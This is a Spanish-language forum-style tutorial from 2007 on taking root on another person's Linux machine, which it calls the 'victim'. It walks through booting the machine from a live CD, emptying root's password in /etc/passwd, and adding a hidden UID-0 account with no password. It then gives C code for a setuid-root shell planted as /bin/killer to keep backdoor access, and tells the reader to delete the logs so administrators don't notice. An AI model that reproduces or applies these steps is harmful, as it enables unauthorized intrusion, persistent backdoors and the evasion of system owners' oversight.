Como Conseguir root(Tecnica de mi cocecha)
Autor: Specimen2012
Son las 00:10 horas del dia 1 de diciembre del 2007 y al mismo tiempo
que escribo estas lineas estoy llevando a la practica lo escrito.
Lo primero que hay que hacer es arrancar a nuestra victima como una
version live ya sea de diskete, usb o cd.
Si es en el caso de una version de diskete tendriamos que montar la
particion con mount(sin necesidad de explicar es sumamente facil),
de preferencia yo les recomiendo la de usb o la de cd, ya que son
versiones mas completas nos ahorran la tarea de montar las particiones.
Yo me encuentro en este momento adelantado un paso que es arrancar
la maquina con un live cd, en este momento me encuentro escribiendo
esto desde mi linux arrancado con mi live cd.
De entrada abrimos una consola(lo explico en modo consola porque
puede que no a todos del carge el modo grafico) si es que estamos
en el modo grafico y vamos a localizar la particion montada del
disco duro local donde se encuentra instalado el sistema linux en
la cual tenemos dos alternativas para buscar ya sea en /mnt o en
/media, en este caso como mi live cd es mandriva las monta en
media, entonces entramos.
cd /media/ && ls -l
aqui tiene que desplegar unas carpetas llamadas hd. Ingresa a
todas las que existan y donde encuentres las carpetas de: etc,
bin, sbin, usr, var ........ esa es nuestra particion donde
se encuentra instalado nuestro sistema.
Ahora si vamos a lo bueno(doy por entendido que pueden utilizan
los comandos basico de linux como el cd, ls, chmod y el chown)
Una vez dentro de nuestra particion entramos escribimos:
su root
vi etc/passwd o cualquier otro editor.
con el simple echo de quitarle la x a root la proxima vez que
prenda el equipo y nos pida la contraseña le damos enter y
estamos dentro.
La linea quedaria asi: root::0:0:root:/root:/bin/bash
Una cosa que cabe recalcar es que root siempre tiene el uid
y gid 0 entonces nosotros podemos crear un segundo root de la
siguiente forma y tener los mismos privilegios que el de la
siguiente forma y a lo mejor si lo deseas dejar intacto al
root original,
root:X:0:0:root:/root:/bin/bash
specimen::0:0:System user spec:/root:/bin/bash
Guardamos el archivo y listo, reiniciamos y probamos.
como root de la primerra forma o como specimen en esta ultima.
Con cualquier forma podremos hacer y deshacer.
Pero esto no termina aqui. Eso que acabamos de hacer es muy
facil de detectar para un buen administrador x eso vamos a
hacer otra cosita...................
.................................................................................
.................................................................................
vamos a hacer un pequeño programa en c que nos permita pasar
de una cuenta de usuario normal a root cuando se nos antoje.
Manos a la obra(Estoy suponiendo que seguimos como root)
vi /bin/killer.c
copiamos el siguiente codigo
#include
main() {
setuid(0);
setgid(0);
system("/bin/bash");
}
guardamos: esc + :wq!
ahora lo compilamos con: gcc /bin/killer.c -o /bin/killer
ahora cambiamos permisos y propietario del archivo recien
compilado killer
chown root /bin/killer
chmod 4755 /bin/killer
para que lo pueda ejecutar cualquier usuario, con solo
invocar killer y listo.
ahora si el archivo de passwd lo podemos regresar como
estaba al inicio, ya que con este programita seremos root
cuando lo queramos.
No se olviden de borrar el archivo killer.c con
rm /bin/killer.c y de borrar todos los
logs para que no se enteren de que hicimos, esto es facil
con una sola instruccion mezclando find con rm.
hay se los dejo de tarea
Bueno pues eso es todo y me despido porque tengo examen en
un rato mas con mi profesor de seguridad y aun no estudio.
